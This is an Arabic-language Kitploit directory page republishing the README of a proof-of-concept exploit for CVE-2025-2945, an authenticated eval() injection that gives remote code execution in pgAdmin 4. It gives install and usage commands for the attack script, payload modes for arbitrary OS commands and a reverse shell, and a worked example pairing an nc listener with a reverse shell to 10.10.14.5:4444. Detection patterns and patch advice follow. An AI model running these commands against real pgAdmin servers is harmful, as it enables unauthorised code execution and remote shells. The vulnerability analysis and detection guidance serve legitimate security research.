Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/khashayarnzk/cve-2025-2945-pgadmin-rce
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقأداة الوصول عن بعد
GitHubkhashayarnzk/cve-2025-2945-pgadmin-rce

CVE-2025-2945-pgAdmin-RCE

# إثبات المفهوم لـ CVE-2025-2945 — حقن eval() المُصادق عليه في pgAdmin 4 لتنفيذ التعليمات البرمجية عن بُعد، درجة الخطورة CVSS 9.9

عرض المستودع
9منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-2945 — تنفيذ التعليمات البرمجية عن بُعد في أداة الاستعلام في pgAdmin 4

CVSS 3.1: 9.9 (حرج) · يتأثر: pgAdmin 4 8.10 – 9.1 · تم الإصلاح في: 9.2 (4 أبريل 2025) CWE-95 (تحييد غير صحيح للتوجيهات في التعليمات البرمجية المُقيَّمة ديناميكيًا / حقن Eval)

إثبات مفهوم لاستغلال CVE-2025-2945، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد مُصادق عليها في أداة الاستعلام في pgAdmin 4. يتم تمرير علامة حالة المعاملة المنطقية (query_commited) مباشرة إلى دالة eval() في بايثون بدلاً من تحليلها كقيمة منطقية، مما يسمح لمستخدم مُصادق بتنفيذ تعليمات بايثون برمجية عشوائية — وبالتالي أوامر نظام التشغيل العشوائية — بصلاحيات عملية خدمة pgAdmin. النمط المعاكس نفسه موجود مرة ثانية في وحدة النشر السحابي لموفر Google (high_availability).

تتوفر مقالة تقنية كاملة تغطي السبب الجذري ومنطق الاستغلال وإرشادات الاكتشاف والمعالجة هنا: khashayarnazarkardeh.com — ملاحظات ميدانية


ملخص الثغرة

الكود القابل للاستغلال (web/pgadmin/tools/sqleditor/__init__.py):

root@kitploit:~
if key == 'query_commited': query_commited = ( eval(value) if isinstance(value, str) else value )

الكود المُصلَح (pgAdmin 9.2+):

root@kitploit:~
query_commited = (
    value.lower() in ('true', '1') if isinstance(value, str) else value
)

تتطلب الثغرة جلسة pgAdmin مُصادق عليها ومعاملة أداة استعلام مرتبطة بخادم قاعدة بيانات مسجل بالفعل في الحساب المستهدف. كلاهما شروط مسبقة شائعة في عمليات النشر الفعلية، حيث يتم عادةً تكوين pgAdmin مسبقًا باتصال خادم واحد أو أكثر محفوظ.

المتطلبات

  • Python 3.8+
  • حساب ويب pgAdmin صالح (--username / --password)
  • بيانات اعتماد لخادم قاعدة بيانات مسجل بالفعل في حساب pgAdmin ذلك (--db-user / --db-password / --db-name)
  • الهدف يعمل بنظام pgAdmin 4 بين 8.10 و 9.1 (شاملًا)

التثبيت

root@kitploit:~
git clone https://github.com/Khashayarnzk/CVE-2025-2945.git
cd CVE-2025-2945
pip install -r requirements.txt

الاستخدام

root@kitploit:~
python3 CVE-2025-2945.py \
    --host <target> --port 80 \
    --username <pgadmin-email> --password <pgadmin-password> \
    --db-user <db-user> --db-password <db-password> --db-name <db-name> \
    --cmd id

أوضاع الحمولة (اختر واحدًا)

العلمالوصف
--cmd COMMANDينفذ أمر نظام تشغيل واحد عبر os.system()
--reverse-shell HOST:PORTيفتح قشرة عكسية عبر أنبوب مسمى إلى مستمع تتحكم فيه
--raw-payload EXPRيمرر تعبير بايثون خام مباشرة إلى نقطة eval() القابلة للاستغلال

مثال — قشرة عكسية

root@kitploit:~
# على جهاز الهجوم الخاص بك، في طرفية منفصلة:
nc -lvnp 4444

# تشغيل الاستغلال:
python3 CVE-2025-2945.py \
    --host pgadmin.internal.example.com --port 80 \
    --username [email protected] --password 'correct-horse-battery-staple' \
    --db-user postgres --db-password postgres --db-name postgres \
    --reverse-shell 10.10.14.5:4444

الخيارات الكاملة

root@kitploit:~
python3 CVE-2025-2945.py --help

الاكتشاف

يجب على المدافعين مراقبة:

  • طلبات POST إلى /sqleditor/query_tool/download/<trans_id> أو /cloud/deploy حيث تكون query_commited / high_availability أي شيء آخر غير "true" أو "false" أو "1" أو "0" حرفيًا.
  • بدائيات تنفيذ بايثون (__import__, os.system, subprocess, eval, exec, open() تظهر في أي من المعلمتين.
  • عمليات فرعية غير متوقعة تُطلق بواسطة حساب خدمة pgAdmin، خاصة مفسرات الأوامر أو أدوات الشبكة.

المعالجة

قم بالترقية إلى pgAdmin 4 9.2 أو أحدث. التصحيح هو إصلاح بسيط منخفض المخاطر لتحويل القيم المنطقية. حيثما لا يكون التصحيح الفوري ممكنًا، قم بتقييد الوصول إلى الشبكة لـ pgAdmin على شبكات موثوقة ومُصادق عليها، وعطّل وحدة النشر السحابي للحسابات التي لا تتطلبها.

المراجع

  • NVD — CVE-2025-2945
  • GitHub Security Advisory — GHSA-g73c-fw68-pwx3
  • pgAdmin issue #8603
  • Fix commit — 75be0bc

المؤلف

Khashayar Nazarkardeh — قائد الأمن السيبراني وأمن الذكاء الاصطناعي khashayarnazarkardeh.com · @Khashayarnzk

إخلاء المسؤولية

تم توفير هذه الأداة لأغراض الاختبار الأمني المصرح به والبحث والتعليم فقط. تشغيل هذه الأداة ضد أي نظام دون إذن صريح وموثق من مالك النظام غير قانوني في معظم الولايات القضائية. لا يتحمل المؤلف أي مسؤولية عن إساءة استخدام هذا البرنامج. باستخدامك لهذا السكربت فإنك توافق على أنك المسؤول الوحيد عن ضمان حصولك على إذن لاختبار الهدف.

تنزيل الأداة